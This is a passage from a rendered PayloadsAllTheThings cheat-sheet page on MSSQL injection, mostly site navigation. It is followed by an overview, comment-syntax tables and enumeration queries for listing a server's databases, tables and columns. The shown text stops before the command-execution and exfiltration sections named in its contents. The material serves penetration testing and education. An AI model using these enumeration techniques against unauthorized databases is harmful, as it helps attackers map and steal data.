<span class="md-ellipsis">
MSSQL Trusted Links
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mssql-privileges" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Privileges
</span>
</a>
<nav class="md-nav" aria-label="MSSQL Privileges">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#mssql-list-permissions" class="md-nav__link">
<span class="md-ellipsis">
MSSQL List Permissions
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mssql-make-user-dba" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Make User DBA
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#mssql-database-credentials" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Database Credentials
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mssql-opsec" class="md-nav__link">
<span class="md-ellipsis">
MSSQL OPSEC
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="../MySQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MySQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../OracleSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../PostgreSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQLite%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQLite Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQLmap/" class="md-nav__link">
<span class="md-ellipsis">
SQLmap
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
<span class="md-ellipsis">
Server Side Include Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_48">
<span class="md-nav__icon md-icon"></span>
Server Side Include Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Include%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Include Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
<span class="md-ellipsis">
Server Side Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_49">
<span class="md-nav__icon md-icon"></span>
Server Side Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Server-Side Request Forgery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation/" class="md-nav__link">
<span class="md-ellipsis">
SSRF Advanced Exploitation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Cloud Instances
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_50">
<span class="md-nav__icon md-icon"></span>
Server Side Template Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/ASP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - ASP.NET
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/Java/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Java
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/JavaScript/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - JavaScript
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/PHP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - PHP
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/Python/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Python
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Ruby
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
<span class="md-ellipsis">
Tabnabbing
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Type Juggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53_2" >
<label class="md-nav__link" for="__nav_53_2" id="__nav_53_2_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_53_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53_2">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_54">
<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_55">
<span class="md-nav__icon md-icon"></span>
Web Sockets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
XPATH Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_57">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XSLT%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XSLT Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_58">
<span class="md-nav__icon md-icon"></span>
XSS Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
XSS Filter Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
<span class="md-ellipsis">
Polyglot XSS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Common WAF Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
CSP Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XXE%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XML External Entity
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_60">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_61">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
<span class="md-ellipsis">
Books
</span>
</a>
</li>
<li class="md-nav__item">
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MSSQL Read File
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<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/MSSQL Injection.md" title="Edit this page" class="md-content__button md-icon">
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<h1 id="mssql-injection">MSSQL Injection</h1>
<blockquote>
<p>MSSQL Injection is a type of security vulnerability that can occur when an attacker can insert or "inject" malicious SQL code into a query executed by a Microsoft SQL Server (MSSQL) database. This typically happens when user inputs are directly included in SQL queries without proper sanitization or parameterization. SQL Injection can lead to serious consequences such as unauthorized data access, data manipulation, and even gaining control over the database server. </p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#mssql-default-databases">MSSQL Default Databases</a></li>
<li><a href="#mssql-comments">MSSQL Comments</a></li>
<li><a href="#mssql-enumeration">MSSQL Enumeration</a><ul>
<li><a href="#mssql-list-databases">MSSQL List Databases</a></li>
<li><a href="#mssql-list-tables">MSSQL List Tables</a></li>
<li><a href="#mssql-list-columns">MSSQL List Columns</a></li>
</ul>
</li>
<li><a href="#mssql-union-based">MSSQL Union Based</a></li>
<li><a href="#mssql-error-based">MSSQL Error Based</a></li>
<li><a href="#mssql-blind-based">MSSQL Blind Based</a><ul>
<li><a href="#mssql-blind-with-substring-equivalent">MSSQL Blind With Substring Equivalent</a></li>
</ul>
</li>
<li><a href="#mssql-time-based">MSSQL Time Based</a></li>
<li><a href="#mssql-stacked-query">MSSQL Stacked Query</a></li>
<li><a href="#mssql-file-manipulation">MSSQL File Manipulation</a><ul>
<li><a href="#mssql-read-file">MSSQL Read File</a></li>
<li><a href="#mssql-write-file">MSSQL Write File</a></li>
</ul>
</li>
<li><a href="#mssql-command-execution">MSSQL Command Execution</a><ul>
<li><a href="#xp_cmdshell">XP_CMDSHELL</a></li>
<li><a href="#python-script">Python Script</a></li>
</ul>
</li>
<li><a href="#mssql-out-of-band">MSSQL Out of Band</a><ul>
<li><a href="#mssql-dns-exfiltration">MSSQL DNS Exfiltration</a></li>
<li><a href="#mssql-unc-path">MSSQL UNC Path</a></li>
</ul>
</li>
<li><a href="#mssql-trusted-links">MSSQL Trusted Links</a></li>
<li><a href="#mssql-privileges">MSSQL Privileges</a><ul>
<li><a href="#mssql-list-permissions">MSSQL List Permissions</a></li>
<li><a href="#mssql-make-user-dba">MSSQL Make User DBA</a></li>
</ul>
</li>
<li><a href="#mssql-database-credentials">MSSQL Database Credentials</a></li>
<li><a href="#mssql-opsec">MSSQL OPSEC</a></li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="mssql-default-databases">MSSQL Default Databases</h2>
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>pubs</td>
<td>Not available on MSSQL 2005</td>
</tr>
<tr>
<td>model</td>
<td>Available in all versions</td>
</tr>
<tr>
<td>msdb</td>
<td>Available in all versions</td>
</tr>
<tr>
<td>tempdb</td>
<td>Available in all versions</td>
</tr>
<tr>
<td>northwind</td>
<td>Available in all versions</td>
</tr>
<tr>
<td>information_schema</td>
<td>Available from MSSQL 2000 and higher</td>
</tr>
</tbody>
</table>
<h2 id="mssql-comments">MSSQL Comments</h2>
<table>
<thead>
<tr>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/* MSSQL Comment */</code></td>
<td>C-style comment</td>
</tr>
<tr>
<td><code>--</code></td>
<td>SQL comment</td>
</tr>
<tr>
<td><code>;%00</code></td>
<td>Null byte</td>
</tr>
</tbody>
</table>
<h2 id="mssql-enumeration">MSSQL Enumeration</h2>
<table>
<thead>
<tr>
<th>Description</th>
<th>SQL Query</th>
</tr>
</thead>
<tbody>
<tr>
<td>DBMS version</td>
<td><code>SELECT @@version</code></td>
</tr>
<tr>
<td>Database name</td>
<td><code>SELECT DB_NAME()</code></td>
</tr>
<tr>
<td>Database schema</td>
<td><code>SELECT SCHEMA_NAME()</code></td>
</tr>
<tr>
<td>Hostname</td>
<td><code>SELECT HOST_NAME()</code></td>
</tr>
<tr>
<td>Hostname</td>
<td><code>SELECT @@hostname</code></td>
</tr>
<tr>
<td>Hostname</td>
<td><code>SELECT @@SERVERNAME</code></td>
</tr>
<tr>
<td>Hostname</td>
<td><code>SELECT SERVERPROPERTY('productversion')</code></td>
</tr>
<tr>
<td>Hostname</td>
<td><code>SELECT SERVERPROPERTY('productlevel')</code></td>
</tr>
<tr>
<td>Hostname</td>
<td><code>SELECT SERVERPROPERTY('edition')</code></td>
</tr>
<tr>
<td>User</td>
<td><code>SELECT CURRENT_USER</code></td>
</tr>
<tr>
<td>User</td>
<td><code>SELECT user_name();</code></td>
</tr>
<tr>
<td>User</td>
<td><code>SELECT system_user;</code></td>
</tr>
<tr>
<td>User</td>
<td><code>SELECT user;</code></td>
</tr>
</tbody>
</table>
<h3 id="mssql-list-databases">MSSQL List Databases</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">sysdatabases</span><span class="p">;</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">master</span><span class="p">.</span><span class="n">sys</span><span class="p">.</span><span class="n">databases</span><span class="p">;</span>
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a>
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a><span class="c1">-- for N = 0, 1, 2, …</span>
<a id="__codelineno-0-5" name="__codelineno-0-5" href="#__codelineno-0-5"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">DB_NAME</span><span class="p">(</span><span class="n">N</span><span class="p">);</span><span class="w"> </span>
<a id="__codelineno-0-6" name="__codelineno-0-6" href="#__codelineno-0-6"></a>
<a id="__codelineno-0-7" name="__codelineno-0-7" href="#__codelineno-0-7"></a><span class="c1">-- Change delimiter value such as &#39;, &#39; to anything else you want =&gt; master, tempdb, model, msdb </span>
<a id="__codelineno-0-8" name="__codelineno-0-8" href="#__codelineno-0-8"></a><span class="c1">-- (Only works in MSSQL 2017+)</span>
<a id="__codelineno-0-9" name="__codelineno-0-9" href="#__codelineno-0-9"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">STRING_AGG</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;, &#39;</span><span class="p">)</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">sysdatabases</span><span class="p">;</span><span class="w"> </span>
</code></pre></div>
<h3 id="mssql-list-tables">MSSQL List Tables</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="c1">-- use xtype = &#39;V&#39; for views</span>
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">sysobjects</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">xtype</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;U&#39;</span><span class="p">;</span>
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="o">&lt;</span><span class="n">DBNAME</span><span class="o">&gt;</span><span class="p">..</span><span class="n">sysobjects</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">xtype</span><span class="o">=</span><span class="s1">&#39;U&#39;</span>
<a id="__codelineno-1-4" name="__codelineno-1-4" href="#__codelineno-1-4"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">someotherdb</span><span class="p">..</span><span class="n">sysobjects</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">xtype</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;U&#39;</span><span class="p">;</span>
<a id="__codelineno-1-5" name="__codelineno-1-5" href="#__codelineno-1-5"></a>
<a id="__codelineno-1-6" name="__codelineno-1-6" href="#__codelineno-1-6"></a><span class="c1">-- list column names and types for master..sometable</span>
<a id="__codelineno-1-7" name="__codelineno-1-7" href="#__codelineno-1-7"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">syscolumns</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">TYPE_NAME</span><span class="p">(</span><span class="n">master</span><span class="p">..</span><span class="n">syscolumns</span><span class="p">.</span><span class="n">xtype</span><span class="p">)</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">syscolumns</span><span class="p">,</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">sysobjects</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">syscolumns</span><span class="p">.</span><span class="n">id</span><span class="o">=</span><span class="n">master</span><span class="p">..</span><span class="n">sysobjects</span><span class="p">.</span><span class="n">id</span><span class="w"> </span><span class="k">AND</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">sysobjects</span><span class="p">.</span><span class="n">name</span><span class="o">=</span><span class="s1">&#39;sometable&#39;</span><span class="p">;</span>
<a id="__codelineno-1-8" name="__codelineno-1-8" href="#__codelineno-1-8"></a>
<a id="__codelineno-1-9" name="__codelineno-1-9" href="#__codelineno-1-9"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">table_catalog</span><span class="p">,</span><span class="w"> </span><span class="k">table_name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">information_schema</span><span class="p">.</span><span class="n">columns</span>
<a id="__codelineno-1-10" name="__codelineno-1-10" href="#__codelineno-1-10"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">table_name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">information_schema</span><span class="p">.</span><span class="n">tables</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">table_catalog</span><span class="o">=</span><span class="s1">&#39;&lt;DBNAME&gt;&#39;</span>
<a id="__codelineno-1-11" name="__codelineno-1-11" href="#__codelineno-1-11"></a>
<a id="__codelineno-1-12" name="__codelineno-1-12" href="#__codelineno-1-12"></a><span class="c1">-- Change delimiter value such as &#39;, &#39; to anything else you want =&gt; trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)</span>
<a id="__codelineno-1-13" name="__codelineno-1-13" href="#__codelineno-1-13"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">STRING_AGG</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;, &#39;</span><span class="p">)</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">sysobjects</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">xtype</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;U&#39;</span><span class="p">;</span>
</code></pre></div>
<h3 id="mssql-list-columns">MSSQL List Columns</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="c1">-- for the current DB only</span>
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">syscolumns</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">sysobjects</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;mytable&#39;</span><span class="p">);</span>
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a>
<a id="__codelineno-2-4" name="__codelineno-2-4" href="#__codelineno-2-4"></a><span class="c1">-- list column names and types for master..sometable</span>
<a id="__codelineno-2-5" name="__codelineno-2-5" href="#__codelineno-2-5"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">syscolumns</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">TYPE_NAME</span><span class="p">(</span><span class="n">master</span><span class="p">..</span><span class="n">syscolumns</span><span class="p">.</span><span class="n">xtype</span><span class="p">)</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">syscolumns</span><span class="p">,</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">sysobjects</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">syscolumns</span><span class="p">.</span><span class="n">id</span><span class="o">=</span><span class="n">master</span><span class="p">..</span><span class="n">sysobjects</span><span class="p">.</span><span class="n">id</span><span class="w"> </span><span class="k">AND</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">sysobjects</span><span class="p">.</span><span class="n">name</span><span class="o">=</span><span class="s1">&#39;sometable&#39;</span><span class="p">;</span><span class="w"> </span>
<a id="__codelineno-2-6" name="__codelineno-2-6" href="#__codelineno-2-6"></a>
<a id="__codelineno-2-7" name="__codelineno-2-7" href="#__codelineno-2-7"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">table_catalog</span><span class="p">,</span><span class="w"> </span><span class="k">column_name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">information_schema</span><span class="p">.</span><span class="n">columns</span>
<a id="__codelineno-2-8" name="__codelineno-2-8" href="#__codelineno-2-8"></a>
<a id="__codelineno-2-9" name="__codelineno-2-9" href="#__codelineno-2-9"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">COL_NAME</span><span class="p">(</span><span class="n">OBJECT_ID</span><span class="p">(</span><span class="s1">&#39;&lt;DBNAME&gt;.&lt;TABLE_NAME&gt;&#39;</span><span class="p">),</span><span class="w"> </span><span class="o">&lt;</span><span class="k">INDEX</span><span class="o">&gt;</span><span class="p">)</span>
</code></pre></div>
<h2 id="mssql-union-based">MSSQL Union Based</h2>
<ul>
<li>
<p>Extract databases names</p>
